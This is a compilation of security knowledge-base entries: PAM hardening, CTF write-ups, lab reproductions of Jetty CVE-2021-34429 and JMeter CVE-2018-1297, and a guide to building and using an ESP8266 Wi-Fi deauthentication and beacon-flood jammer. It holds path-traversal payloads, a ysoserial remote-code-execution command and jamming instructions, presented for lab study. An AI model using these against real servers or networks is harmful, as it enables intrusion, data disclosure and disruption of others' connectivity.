ocredit=N:定义用户密码中必须至少包含多少个特殊字符(除数字、字母之外); 注意 当 N>0 时,N 代表新密码中最多可以有 N 个指定的字符 当 N<0 时,N 代表新密码中最少可以有 N 个指定的字符 ``` ### pam_pwhistroy.so pam_pwhistory.so 模块也是一个常用模块,一般辅助 pam_cracklib.so,pam_tally.so 以及 pam_unix.so 等模块来加强用户使用密码的安全度。不过 pam_pwhistory.so 模块起的是另一类的作用,即专门为用户建立一个密码历史档案,防止用户在一定时间内使用已经用过的密码。 `/etc/pam.d/system-auth` 下的配置针对的是普通用户,在 root 用户下是无效的 当需要限定用户在 90 天之内不能重复使用以前曾经使用过的 10 个密码,那么具体操作方法是去修改 `/etc/pam.d/system-auth` 文件,在 password 接口处增加: ``` password required pam_cracklib.so retry=3 password required pam_pwhistory.so enforce_for_root remember=10 ``` 此时用户使用过的密码将会记录到 `/etc/security/opasswd` 文件中。但是 pam_pwhistory.so 并没有什么选项可以限定密码在多少天之内无法被重复使用, 所以上述的 90 天是无法配置的。一个简单的解决方法就是当 90 天左右的时候,手动清空一次 opasswd 文件即可。 当然,如果要实现同样的功能除了 pam_pwhistory.so 模块之外还有其它的办法。比较常用的是 pam_unix.so 模块。 具体方法是修改 `/etc/pam.d/system-auth` 文件,给 pam_unix.so 模块里加上 remember=10 这个选项,修改之后的配置文件为: ```diff vim /etc/pam.d/system-auth ++ password required pam_unix.so md5 remember=10 use_authtok ``` 不过此时 `/etc/security/opasswd` 文件因为记录了 N 个使用过的密码,所以安全性就十分关键了,所以要确保该文件只能被 root 用户读取和编辑: --- ## PAM身份验证安全配置实例 ### 用户设置的密码不能与过去3次内的密码重复 修改 `/etc/pam.d/system-auth`, 增加 pam_unix.so 的参数,如下: ``` vim /etc/pam.d/system-auth ...... password sufficient pam_unix.so md5 shadow nullok try_first_pass use_authtok remember=3 ``` ### 用户设置的密码必须至少包含5个数字和3个特殊符号 修改 `/etc/pam.d/system-auth`,在 password 使用 pam_cracklib.so 设置的最后附加 dcredit=-5 ocredit=-3 ``` vim /etc/pam.d/system-auth ...... password requisite pam_cracklib.so try_first_pass retry=3 dcredit=-5 ocredit=-3 ``` ### 限制kevin用户最多同时登陆4个 这需要 pam_limits.so 模块。由于 `/etc/pam.d/system-auth` 中,默认就会通过 pam_limits.so 限制用户最多使用多少系统资源. ``` cat /etc/pam.d/system-auth|grep limits.so session required pam_limits.so ``` 因此只需要在 `/etc/security/limits.conf` 中加入以下内容: ``` vim /etc/security/limits.conf ...... kevin hard maxlogins 4 ``` ### 强制使用强密码 (用户密码安全配置) PAM 配置文件:`/etc/pam.d/system-auth-ac` 模块名称: pam_cracklib(仅适用于 password 模块接口) 模块参数: * minlen=12 密码字符长度不少于 12 位 (默认为 9) * lcredit=-1 至少包含 1 个小写字母 * ucredit=-1 至少包含 1 个大写字母 * dcredit=-1 至少包含 1 个数字 * ocredit=-1 至少包含 1 个特殊字符 * retry=3 配置密码时,提示 3 次用户密码错误输入 * difok=6 配置密码时,新密码中至少 6 个字符与旧密码不同 (默认为 5) 其他常用参数: * reject_username 新密码中不能包含与用户名称相同的字段 * maxrepeat=N 拒绝包含超过 N 个连续字符的密码,默认值为 0 表示此检查已禁用 * maxsequence=N 拒绝包含大于 N 的单调字符序列的密码,例如’1234’或’fedcb’,默认情况下即使没有这个参数配置,一般大多数这样的密码都不会通过,除非序列只是密码的一小部分 * maxclassrepeat=N 拒绝包含相同类别的 N 个以上连续字符的密码。默认值为 0 表示此检查已禁用。 * use_authtok 强制使用先前的密码,不提示用户输入新密码 (不允许用户修改密码) 模块名称:pam_unix (适用于 account,auth, password 和 session 模块接口) 模块参数: * remember=N 保存每个用户使用过的 N 个密码,强制密码不能跟历史密码重复 其他常见参数: * sha512 当用户下一次更改密码时,使用 SHA256 算法进行加密 * md5 当用户更改密码时,使用 MD5 算法对其进行加密。 * try_first_pass 在提示用户输入密码之前,模块首先尝试先前的密码,以测试是否满足该模块的需求。 * use_first_pass 该模块强制使用先前的密码 (不允许用户修改密码),如果密码为空或者密码不对,用户将被拒绝访问 * shadow 用户保护密码 * nullok 默认不允许空密码访问服务 * use_authtok 强制使用先前的密码,不提示用户输入新密码 (不允许用户修改密码) 在 RHEL/CentOS 下的配置,passwd 程序的 PAM 配置文件涉及主配置文件 `/etc/pam.d/passwd` 和 `/etc/pam.d/system-auth-ac`(也可以是 `/etc/pam.d/password-auth-ac`),其中 `/etc/pam.d/passwd` 配置文件默认只包含了 `/etc/pam.d/system-auth-ac` 配置文件,因此对于以上 PAM 身份验证密码模块配置,只修改/配置该文件即可。 在 Ubuntu 中,配置文件包括:`/etc/pam.d/common-password`、`/etc/pam.d/common-account`、`/etc/pam.d/common-auth`、`/etc/pam.d/common-session` 设置 口令最小长度不小于8,至少包含大写字母、小写字母、数字和特殊字符中的三种。 ```bash # CentOS、Fedora、EulerOS操作系统 password requisite pam_cracklib.so try_first_pass retry=3 minlen=9 dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-1 type= # Debian、Ubuntu操作系统 vim /etc/pam.d/common-password password requisite pam_cracklib.so retry=3 minlen=9 dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-1 difok=3 ``` ### 用户 SSH 登录失败尝试次数超出限制后锁定账户 (帐户锁定/解锁和时间设置) 为了进一步提高安全性,可以指定超过失败登录尝试次数后锁定用户。用户账户可以被解锁(可以由 root 用户主动解锁),或者在设定的时间后自动解锁。 如在三次失败的登录尝试后锁定用户十分钟。需要在 `/etc/pam.d/password-auth-ac`(或者在 `/etc/pam.d/sshd`) 文件添加以下参数: ``` auth required pam_tally2.so deny=3 unlock_time=600 onerr=succeed file=/var/log/tallylog ``` 在 Ubuntu、SuSE Linux 中,需要修改 `/etc/pam.d/common-auth` 配置文件 另外,使用 PAM 还可以限制在 console 控制台上登录,需要修改 `/etc/pam.d/system-auth` 配置文件 (或者 `/etc/pam.d/login`),添加如上 auth 配置字段即可。 一旦用户失败登录尝试次数达到 3 次,该帐户立刻被锁定,除非 root 用户解锁。root 用户下使用如下命令解锁用户: ``` pam_tally2 -u username -r --reset ``` 查看用户登录失败信息 ``` pam_tally2 -u username ``` 如果要在 3 次失败登录尝试后永久锁定用户,那么需要删除 unlock_time 字段,除非 root 用户解锁该账户,否则将永久锁定。 ### pam_tally/pam_tally2 模块参数 全局选项 * onerr=[succeed|fail] * file=/path/to/log 失败登录日志文件,默认为 `/var/log/tallylog` * audit 如果登录的用户没有找到,则将用户名信息记录到系统日志中 * silent 不打印相关的信息 * no_log_info 不通过 syslog 记录日志信息 AUTH 选项 * deny=n 失败登录次数超过 n 次后拒绝访问 * lock_time=n 失败登录后锁定的时间(秒数) * unlock_time=n 超出失败登录次数限制后,解锁的时间 * no_lock_time 不在日志文件 `/var/log/faillog` 中记录. fail_locktime 字段 * magic_root root 用户 (uid=0) 调用该模块时,计数器不会递增 * even_deny_root root 用户失败登录次数超过 deny=n 次后拒绝访问 * root_unlock_time=n 与 even_deny_root 相对应的选项,如果配置该选项,则 root 用户在登录失败次数超出限制后被锁定指定时间 ### 允许普通用户使用 sudo 而不是 su (限制普通用户登录到 root 用户) Linux 系统上默认存在一个 wheel 组,用于限制普通用户通过 su 登录到 root 用户,只有属于 wheel 组的用户成员才能使用 su。但是在默认情况下,系统并没有启用这个功能,我们可以通过 PAM 启用它,或者修改为指定的组 / 用户使用 su,当然指定为什么组可以按照要求而定。该配置通过 pam_wheel 模块指定。 首先启用 whell 组,使得只属于 wheel 组的用户可以使用 su 命令, 需要在 `/etc/pam.d/su` 配置文件添加以下配置: ``` auth required pam_wheel.so use_uid ``` 需要注意应该将这一行参数添加在 `/etc/pam.d/su` 文件的首部,否则 PAM 模块可能会跳过该项检查。配置完之后,我们就可以将需要用 su 权限的用户添加到 wheel 组中,如下: ``` usermod -a -G wheel username ``` 其次,如果你不想使用 wheel 组,而是使用其他的组代替,比如指定组名为 myadmingroup 的组拥有 su 的权限,需要这么做: ``` auth required pam_wheel.so use_uid group=myadmingroup ``` 最后配置指定用户拥有 sudo 权限,要知道我们的目的是尽量少使用 root 身份的权限,sudo 可以让用户仅仅在需要调用 root 用户权限的情况下调用。我们可以指定特定的组/用户使用 sudo(不需要 root 密码) 调用 root 权限。visudo 打开配置文件: ``` hmm ALL=(ALL) NOPASSWD: ALL #允许hmm用户通过sudo执行任何命令(不需要输入密码) %wheel ALL=(ALL) ALL #允许wheel组成员使用sudo执行任何命令(需要输入密码) ``` **禁止直接使用 root 用户通过 SSH 登录** 在 `/etc/pam.d/password-auth-ac` 或者 `/etc/pam.d/sshd` 配置文件中添加以下配置(该配置禁止 SSH 的口令认证,但仍然可以使用 SSH 密钥登录) ``` auth required pam_securetty.so ``` 此外还可以配置 `/etc/securetty` 文件禁止 root 用户通过所有 tty 终端登录系统 ```bash cp /etc/securetty /etc/securetty.saved echo "" >/etc/securetty ``` ### 限制 root 只能从 kevin.com 这台计算机使用 ssh 远程登陆 由于 ssh 服务器的程序文件使用 sshd, 而 sshd 刚好支持 PAM,验证如下: ``` ldd /usr/sbin/sshd | grep libpam.so libpam.so.0 => /lib64/libpam.so.0 (0x00007f36f254d000) ``` 修改 `/etc/pam.d/sshd`, 加入第二行,如下: ```diff vim /etc/pam.d/sshd auth include system-auth ++ account required pam_access.so accessfile=/etc/deny_sshd account required pam_nologin.so ``` 创建 `/etc/deny_sshd` 文件 ```diff vim /etc/deny_sshd ++ -:root:ALL EXCEPT kevin.com ``` --- ## Source & Reference - https://developer.aliyun.com/article/560279 - https://www.cnblogs.com/kevingrace/p/8671964.html
sec-knowleage
# VUE Vue.js(读音 /vjuː/, 类似于 view)是一个构建数据驱动的 web 界面的渐进式框架。 Vue.js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件 ### 简介 Vue 是一套构建用户界面的渐进式框架 Vue 只关注视图层,采用自底向上增量开发的设计 Vue 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件 Vue 学习起来非常简单,对于新手非常友好,而且有丰富的中文文档,非常容易上手 ### VUE 作者 Vue.js的作者为Evan You(尤雨溪)。 尤雨溪在国内读完初中,才去美国完成大学学业,所以说这是一个比较中国的中国人。看看尤雨溪对于 VUE 的看法 - 知乎访谈:[点击进入](https://mp.weixin.qq.com/s?__biz=MzA4NjE3MDg4OQ%3D%3D&mid=2650964658&idx=1&sn=20bffec66f8b45002addb417a51ea92d&chksm=843aeed4b34d67c216f167bef8a1fdf85cc9bc5059007666869909d31ab86a8bd9d005614e4e&mpshare=1&scene=1&srcid=06137IzUoM84mpRfbUu7tDb0) - 大神面对面:[点击进入](https://zhuanlan.zhihu.com/p/27205354) ### Vue 比 React 更适合:渐进式 意思是,公司有个项目,是用 jquery 写的,基本结构就是一个个 html 页面。这时候,可以直接用 script 标签,把 vue 引入到页面中,直接进行页面功能增强。 > Vue 离开了 webpack 可以做很多事情,但是 React 离开 webpack 的确就非常不方便了 所以说,最简单的基本环境就是,html 中直接跟 jQuery 一样,引入使用即可 但是,我们作为学过 React 的人,从另外一个更专业化的角度入门更好 ### 参考 - VUE中文官网:[点击进入](https://cn.vuejs.org/) - Vue社区:[点击进入](https://www.vue-js.com/) - 博客园博客:[点击进入](http://www.cnblogs.com/zhuzhenwei918/category/938372.html) - 菜鸟教程:[点击进入](http://www.runoob.com/vue2/vue-tutorial.html)
sec-knowleage
## Hacking Time (re, 200p, 180 solves) ### PL [ENG](#eng-version) > We’re getting a transmission from someone in the past, find out what he wants. > [HackingTime.nes](HackingTime.nes) Pobieramy udostępniony plik, który okazuje się obrazem aplikacji na Nintendo Entertainment System, 8-bitową konsolę, którą każdy zna i lubi :). Zadanie polega na podaniu hasła, które jednocześnie będzie flagą w tym zadaniu. Zamiast statycznie analizować to zadanie, spróbujemy rozwiązać je "na żywo" w emulatorze FCEUX z jego zintegrowanym debuggerem. Krótka eksperymentacja pozwala nam stwierdzić, że sprawdzenie hasła oprócz zmiany samego bufora z hasłem w pamięci modyfikuje nam również bajty od offsetu `0x1e`. ![](./memory.png) Ustawiamy w takim razie read breakpoint na tym adresie i przy ponownej próbie sprawdzenia hasła trafiamy na następujący fragment: ```gas 00:8337:A0 00 LDY #$00 >00:8339:B9 1E 00 LDA $001E,Y @ $001E = #$80 00:833C:D0 08 BNE $8346 00:833E:C8 INY 00:833F:C0 18 CPY #$18 00:8341:D0 F6 BNE $8339 00:8343:A9 01 LDA #$01 00:8345:60 RTS ----------------------------------------- 00:8346:A9 00 LDA #$00 00:8348:60 RTS ----------------------------------------- ``` Jest to pętla, która sprawdza nam `0x18` znaków zaczynając od naszego offsetu `0x1e`. Jeżeli któryś z bajtów nie wynosi 0 to funkcja wychodzi z wartością 0, a w przeciwnym wypadku z 1. Bezpośrednia zmiana IP na instrukcję spod `0x8343` i wznowienie programu potwierdza nam komunikatem o sukcesie, że to jest celem zadania. Musimy zatem wprowadzić takie hasło by bajty spod offsetu `0x1e` wynosiły same zera. Możemy dokonać statycznej analizy albo literka po literce zbruteforce'ować nasze hasło (a to dzięki temu, że zmiana następnych liter nie zmienia nam bajtów poprzednich). Postanowiliśmy skorzystać z tej drugiej metody. Hasłem oraz flagą okazał się ciąg: `NOHACK4UXWRATHOFKFUHRERX`. Cała aplikacja jest oczywiście zabawnym nawiązaniem do filmu "Kung Fury" :)! ### ENG version > We’re getting a transmission from someone in the past, find out what he wants. > [HackingTime.nes](HackingTime.nes) We download the file, which turns out to be a image of an application for Nintendo Entertainment System, 8-bit console which everyone knows and likes :). The task was to get the password, which is also a flag. Instead of doing a static code analysis, we try to solve it "live" in FCEUX emulator with integrated debugger. Short experimentation enables us to notice that password check, apart from changing the password buffer itself, modified also some bytes from offset `0x1e`. ![](./memory.png) So we place a read breakpoint at this address and at the next password check we find this fragment: ```gas 00:8337:A0 00 LDY #$00 >00:8339:B9 1E 00 LDA $001E,Y @ $001E = #$80 00:833C:D0 08 BNE $8346 00:833E:C8 INY 00:833F:C0 18 CPY #$18 00:8341:D0 F6 BNE $8339 00:8343:A9 01 LDA #$01 00:8345:60 RTS ----------------------------------------- 00:8346:A9 00 LDA #$00 00:8348:60 RTS ----------------------------------------- ``` It's a loop which checks `0x18` characters starting with the offset `0x1e`. If any of the bytes is not 0 the function returns with 0, otherwise it returns with 1. Changing IP manually for the instruction at `0x8343` and resuming the execution ensures us with a success dialog that this is the point of the task. We have to put there a password so that bytes from offset `0x1e` are all zeroes. We could do a static code analysis or try to brute force the password character by character (mostly because changing next characters does not affect previous bytes). We decided to do the latter. The password and the flag was `NOHACK4UXWRATHOFKFUHRERX`. Whole application is, of course, connected with the movie "Kung Fury" :)!
sec-knowleage
# Jetty Ambiguous Paths Information Disclosure Vulnerability (CVE-2021-34429) [中文版本(Chinese version)](README.zh-cn.md) Eclipse Jetty is a Java web server and Java Servlet container. Jetty 9.4.40 fixed an ambiguous paths information disclosure vulnerability [CVE-2021-28164](https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164), CVE-2021-34429 is a variation and bypass of it. There are 3 types of payload that exfiltrate the content of `WEB-INF/web.xml`: - Unicode based URL encoded: `/%u002e/WEB-INF/web.xml` - `\0` with `.` bug: `/.%00/WEB-INF/web.xml` - `\0` with `..` bug: `/a/b/..%00/WEB-INF/web.xml` The vulnerability affects the Jetty 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5. References: - https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm - https://xz.aliyun.com/t/10039 ## Vulnerable Application Execute the following command to start a Jetty 9.4.40 server. ``` docker compose up -d ``` After the server starts, visit ``http://your-ip:8080`` to see an example page. ## Exploit The sensitive file web.xml is not accessible through `/WEB-INF/web.xml`. ![](1.png) Use payload `/%u002e/WEB-INF/web.xml` to bypass the restriction: ![](2.png)
sec-knowleage
# Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297) Apache JMeter是美国阿帕奇(Apache)软件基金会的一套使用Java语言编写的用于压力测试和性能测试的开源软件。其2.x版本和3.x版本中存在反序列化漏洞,攻击者可以利用该漏洞在目标服务器上执行任意命令。 ## 漏洞环境 运行漏洞环境: ``` docker compose up -d ``` 运行完成后,将启动一个RMI服务并监听1099端口。 ## 漏洞复现 直接使用ysoserial即可进行利用: ``` java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success' ``` 我们使用的是BeanShell1这条利用链。使用`docker compose exec jmeter bash`进入容器,可见`/tmp/success`已成功创建: ![](1.png) 反弹shell: ![](2.png)
sec-knowleage
set === 显示或设置shell特性及shell变量 ## 补充说明 **set命令** 作用主要是显示系统中已经存在的shell变量,以及设置shell变量的新变量值。使用set更改shell特性时,符号"+"和"-"的作用分别是打开和关闭指定的模式。set命令不能够定义新的shell变量。如果要定义新的变量,可以使用declare命令以`变量名=值`的格式进行定义即可。 ### 语法 ```shell set(选项)(参数) ``` ### 选项 ```shell -a:标示已修改的变量,以供输出至环境变量。 -b:使被中止的后台程序立刻回报执行状态。 -C:转向所产生的文件无法覆盖已存在的文件。 -d:Shell预设会用杂凑表记忆使用过的指令,以加速指令的执行。使用-d参数可取消。 -e:若指令传回值不等于0,则立即退出shell。 -f:取消使用通配符。 -h:自动记录函数的所在位置。 -H Shell:可利用"!"加<指令编号>的方式来执行history中记录的指令。 -k:指令所给的参数都会被视为此指令的环境变量。 -l:记录for循环的变量名称。 -m:使用监视模式。 -n:只读取指令,而不实际执行。 -p:启动优先顺序模式。 -P:启动-P参数后,执行指令时,会以实际的文件或目录来取代符号连接。 -t:执行完随后的指令,即退出shell。 -u:当执行时使用到未定义过的变量,则显示错误信息。 -v:显示shell所读取的输入值。 -x:执行指令后,会先显示该指令及所下的参数。 ``` ### 参数 取消某个set曾启动的参数。 ### 实例 使用declare命令定义一个新的环境变量"mylove",并且将其值设置为"Visual C++",输入如下命令: ```shell declare mylove='Visual C++' #定义新环境变量 ``` 再使用set命令将新定义的变量输出为环境变量,输入如下命令: ```shell set -a mylove #设置为环境变量 ``` 执行该命令后,将会新添加对应的环境变量。用户可以使用env命令和grep命令分别显示和搜索环境变量"mylove",输入命令如下: ```shell env | grep mylove #显示环境变量值 ``` 此时,该命令执行后,将输出查询到的环境变量值。
sec-knowleage
# Crypto (crypto, 136p, 12 solved) In the challenge we get an [encryption code](enc.py) and encrypted flag `a22d0fb9f707b153ab68472082d1f3e977a23f3dc0de469388ec3a56131943eba1873071f7fc01b5fc31b5335056286f5d7634735f35776a74` One we analyse the code we can clearly see the vulnerability -> there are 2 things which are supposed to encrypt the data, subtraction and XOR. However the parameters are created by: ```python a, b, c = (int(key[i:i + 8], 16) for i in range(0, len(key), 8)) ``` The values `b` and `c` are both rotated left as 64 bit values, while they're were in fact created from 8 bits values only. This means very quickly both of them will become `0`. This leaves the subtraction step. We could try to invert the encryption knowing the flag prefix, and recover the parameters one by one. But we're too lazy for that. The operations are really only `+-` and `&^`, so we can just ask Z3 to do the work for us. We port the encryption function to make it easier to use from Z3: ```python def encryptx(data, key): encrypted = [] a, b, c = key for d in data: keystream = (b & 0xff) ^ (c & 0xff) d = (d - (a & 0xff)) ^ keystream d = d & 0xff encrypted.append(d) a = rotr(a) b = rotl(b) c = rotl(c) # print(a, b, c) return encrypted ``` No we can run Z3 on this: ```python def decrypt(ct): key = tuple([BitVec('k%d' % i, 64) for i in range(3)]) flag = [BitVec('x%d' % i, 64) for i in range(len(ct) / 2)] s = Solver() for x in flag: s.add(x > 0, x < 128) s.add(Or(x == 32, x > 32)) result = encryptx(flag, key) for i, x in enumerate(ct.decode("hex")): s.add(result[i] == ord(x)) for i, c in enumerate("Congrats! Flag is: "): s.add(flag[i] == ord(c)) s.check() model = s.model() solution = [model[x].as_long() for x in flag] print("".join(map(chr, solution))) return "".join(map(chr, [model[x].as_long() for x in flag])) ``` Initially we didn't know the prefix so we didn't have the `Congrats! Flag is: ` value and the encryption was ambigious, so in the end we looped over this and instructed Z3 to enumerate other solutions (by rejecting the solution and adding more constraints on characters not matching the charset). This way we arrive at the flag prefix and most of the flag as well. However, for some reason the suffix was wrong. Since we know the sha1 of the whole payload, we could brute-force the missing few last characters: ```python ct = 'a22d0fb9f707b153ab68472082d1f3e977a23f3dc0de469388ec3a56131943eba1873071f7fc01b5fc31b5335056286f5d7634735f35776a74' h = ct[:40] flag = "Congrats! Flag is: DCTF{th1s_w4s_" for a in range(128): for b in range(128): for c in range(128): data = flag + chr(a) + chr(b) + chr(c) + "}" digest = hashlib.sha1(data).hexdigest() if digest == h: print(data) ``` Evetually we get the flag: `Congrats! Flag is: DCTF{th1s_w4s_4un}`
sec-knowleage
# WiFikiller > 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [Atomic-Crash](https://github.com/Atomic-Crash) & [r0fus0d](https://github.com/No-Github) --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 简介 考虑到过往比赛的场景中,有部分参赛者使用手机热点共享给笔记本,从而上网查阅资料破坏比赛的公平性,这次考虑制作一个 WiFikiller。它的功能有攻击 wifi,这可以致使该 wifi 在这个区域内所有用户都无法连接。也可以批量复制 wifi,例如将一个 wifi 复制 20 份,这样手机就会搜到 20 个一样的 wifi,由于比赛时间紧迫,鉴于以上的功能,参赛者短期之内是无法破解的,该工具也辅助了比赛的公平性。 由于 ESP8266 是开源项目,网上有 wifikiller 各类固件源码,对于学习和制作非常的方便,不过功能大同小异,这里就不附链接地址,该模组烧录钓鱼项目源码也可以用作钓鱼,或者别的固件源码也可以用于破解 wifi 密码。这里硬件电路由我自己手工焊接,不采用 PCB 印刷 (PCB 印刷板体积会更小、外观更美观,缺点就是价格略贵,制作需要时间),焊接好硬件电路以后烧录程序,接着就是调试电路 (烧录程序和调试电路会比较耗时,同时也很需要经验),最后的成品大概巴掌大小,自带电源 (可充电),非常的便携! ` 免责声明:该 WiFikiller 工具仅用于学习和交流使用,若用作其他用途造成违法和财产损失,与本人无关。` `该文档较长,想学习制作请耐心读下去,想直接使用以及了解原理可以直接跳过硬件和调试部分` --- ## 硬件准备 1. 6×8的印刷万用板、1300mah聚合物电池一块(尺寸是102540)、微动按钮三个、微动开关一个 2. 0.96 OLED屏幕一块、ESP8266串口wifi模块、micro usb充电模块一个 3. 电烙铁、焊锡丝、导线若干、热熔胶枪 `注意:因为该电路板比较小,所以拼合比较紧凑,微动开关和OLED屏幕都是经过电磨机打磨过后才能装配上去` ### 硬件布局 & 焊接 硬件接线图: 1. 首先作为一个需要进行按键操作的设备,这个必须要合理的布局排版,要适合人的操作习惯,同时不能影响各方面的使用,所以在这里我将所有的开关、按键布局到右侧 (考虑大部分人是用右手)。 2. ESP8266 串口 wifi 模块供电口、micro usb 充电模块的充电口设置到同一位置,以便充电和调试的同时不影响按键的使用。因为右边都是开关和按键,为了保护屏幕不受到损伤,需要避开经常按动的位置,在此基础上 OLED 屏幕就只能放在板子的左上角。还有一个细节就是,微动开关的开是向上拨动,也是为了电路的安全性考虑,向下拨动方便快速断开电源。以上就是本人电子类技术长期积攒下来的部分经验之谈。 图下主要是全部的硬件材料。 3. 先进行板子布局,因为电路没有设置短路保护而且充电模块紧贴ESP8266串口wifi模块,为了保险起见先进行充电模块焊接,与测试。 4. 在焊接完以后进行充电测试。在测试中发现充电模块虽然发热,但是在可接受范围之内,充电模块和聚合物电池能够正常工作并且电量已经充满。 5. 进行最后的总线路焊接,下图附成品,因为是飞线,所以外观上不如pcb的美观,强度也不如pcb高,但不影响功能使用。注意用热熔胶枪加固电池和充电模块。 --- ## 程序烧录 1. 先安装烧录所需要的环境,CH341SER.exe, 安装好之后在运行 ESP8266Flasher.exe 这个程序进行烧录,只需要一个根 micro 数据线即可,以下是详细的烧录方法。 ` 注意参考 ESP8266 串口 wifi 模块背板上的烧录速率 ` ### 基础调试 1. 烧录程序以后,进行开机调试,我们先简单试一下按键功能,看一下按键是否能够正常使用,屏幕显示是否工作正常。` 第一次开机屏幕要过一会才亮,耐心等待,因为内部在加载和初始化程序 ` 经过以上说明按键正常工作(按键功能和板子插口已经在图上标明),显示屏也显示无误。 ### 使用说明 主菜单下主要功能有五大块: 1. SCAN(扫描) 在该功能下可以设置扫描 AP+ST、单独扫描 APs、单独扫描 Stations 2. SELECT(选择 / 设置) 在该功能下可以选择 APs、stations、Names、SSIDs 进入 SSIDs 可以设置 CLONE APs(克隆 APs)、RANDOM MODE(随机模式)、REMOVE ALL(移除所有) 3. ATTACK(攻击) 在该功能下可以选择 DEAUTH(认证攻击)、BEACON(洪水攻击)、PROBE(探测请求洪水攻击)、START(开始) 4. PACKER MONITOR(数据包监视),可以切换 0-14 频道 (ch0-ch14) 5. CLOCK(计时器) 一、克隆的使用 1. 在 SCAN 功能里首先扫描 APs 和 ST,之后返回主菜单 2. 其次在 SELECT 功能里自己选择要克隆的 wifi,同时在该功能里进入 SSIDs-->CLONE APs(克隆 APs),然后退回主菜单 3. 在主菜单中选择 ATTACK(攻击)-->BEACON-->START(开始) 即可克隆 该功能会使被选中的 WiFi 克隆 60 个,从而达到干扰的目的。 二、攻击 1. 在 SCAN 功能里首先扫描 APs 和 ST,之后返回主菜单 2. 在 SELECT 功能里进入 APs,自己选择要攻击的 wifi,之后退出主菜单 3. 在主菜单中选择 ATTACK(攻击)-->BEACON-->START(开始) 即可攻击 该功能会一直攻击被选中的 wifi,致使设备连接不上该网络 三、登录 pwned 远程控制 1. 连接上 pwned 的无线网,密码是 deauther,在浏览器访问该 ip`192.168.4.1`,即可进行相应的操作。远程相对于直接操作硬件来说,可以 diy 克隆后 wifi 的名字,可以设置 pwned 的 wifi 属性等,主要功能大体不变,可以将这个硬件设备放在某处,在其 wifi 范围内进行远程操控,1300mha 的大容量电池可以提供长时间续航,连用几天无压力。 四、更多玩法 更多玩法要自己去尝试了,比如说设置白名单让部分设备可以用该 wifi 上网,剩下的设备就连接不上,等等。 ### 部分实战展示 由于 DDOS 无线网不能直接用图片展示,这里只展示其余功能。 克隆 wifi 恶心下想连接外网的选手 至于下面这个个性化的 wifi 也可以多弄点,根据实际使用自己定义。 当然对隐藏 ssid 直接连接的其实没用, 公平比赛还是靠自觉 --- ## 原理 1. 首先要了解物联网无线通讯 wifi 模块 AP 和 STA 模式。 Wifi 模块为串口或 TTL 电平转 WIFI 通信的一种传输转换模块,内置无线网络协议 IEEE802.11 协议栈以及 TCP/IP 协议栈,能够实现用户串口或 TTL 电平数据到无线网络之间的转换。 Wifi 模块 包括两种类型的拓扑形式:基础网(Infra)和自组网(Adhoc)首先要了解两个基本概念: * AP,也就是无线接入点,是一个无线网络的创建者,是网络的中心节点。一般家庭或办公室使用的无线路由器就是一个 AP。 * STA 站点,每一个连接到无线网络中的终端(如笔记本电脑、PDA 及其它可以联网的用户设备)都可称为一个站点。 基于 AP 组建的基础无线网络(Infra):Infra:也称为基础网,是由 AP 创建,众多 STA 加入所组成的无线网络,这种类型的网络的特点是 AP 是整个网络的中心,网络中所有的通信都通过 AP 来转发完成。 2. wifi 杀手的工作原理使用了 arp 欺骗的原理,假冒 ARP 回复来欺骗同一 WiFi 网络上的其他设备,让它们以为你的 wifikiller 是网关,然后 WiFiKill 丢掉它们的网络包。对于受害者来说,网络连接看上去似乎正常,但实际上已经无法访问互联网。一般来说可以直接攻击用户的 mac 地址。 3. WiFi 干扰 一般来说,检测 WiFi 干扰行为将需要相对专业的设备才进行,而且有时甚至还需要使用到信号发射塔。但是 802.11 标准给我们提供了一种更简单的方法:去认证帧和去关联帧。 这些 “去认证” 帧可以被用于多种不同的场景,而且该标准提供了超过 40 种预定义的原因代码。下面是一些合法的常用示例: > 1. 之前的身份认证失效; > 2. 由于不活动而导致的连接断开; > 3. 由于访问点无法处理当前所有的关联 STA 而导致的连接断开; > 4. 由于 SAT 不支持 BSSBasicRateSet 参数种的数据率而导致的拒绝连接; 因为去认证帧属于管理帧的一种,所以它们是没有经过加密的,而攻击者甚至可以在无需连接该网络的情况下伪造这种帧。信号范围内的攻击者可以向目标用户所连接的热点发送连续的去认证帧来达到干扰 WiFi 的目的。 以上是部分 wifikiller 的工作原理,更深入就需要去学习 esp8266 的代码以及 wifi 通讯协议。
sec-knowleage
# Ocean of sockets (forensics, 200p) In the task we get a binary which I think was packed with UPX, but with renamed sections. Once you fix those, you can unpack it via UPX and get [binary](OceanOfSockets.exe). This is actually pyinstaller executable, so we can unpack this using https://github.com/countercept/python-exe-unpacker and we finally get the [real code](oceanOfSockets.py). This code doesn't seem very interesting, it just sends GET requests to host we provide. The only interesting part is the cookie: `%|r%uL5bbA0F?5bC0E9b0_4b2?N` If we XOR this cookie with known flag format `TMCTF{` we get back `713131713337` when hexencode the data. This doesn't seem very random, but XOR was a wrong approach here. If we try to see how much the characters in the cookie differ from the flag format: ```python s = '%|r%uL5bbA0F?5bC0E9b0_4b2?N' for c in zip(s, "TMCTF{"): print(ord(c[0]) - ord(c[1])) ``` We get either 47 or -47. This means we've got a Caesar with shift of 47. It's wrapping around at ` ` so we can just do: ```python for character in cookie: number = ord(character) if number - 47 < ord(' '): number += 47 else: number -= 47 result += chr(number) print(result) ``` And we get `TMCTF{d33p_und3r_th3_0c3an}`
sec-knowleage
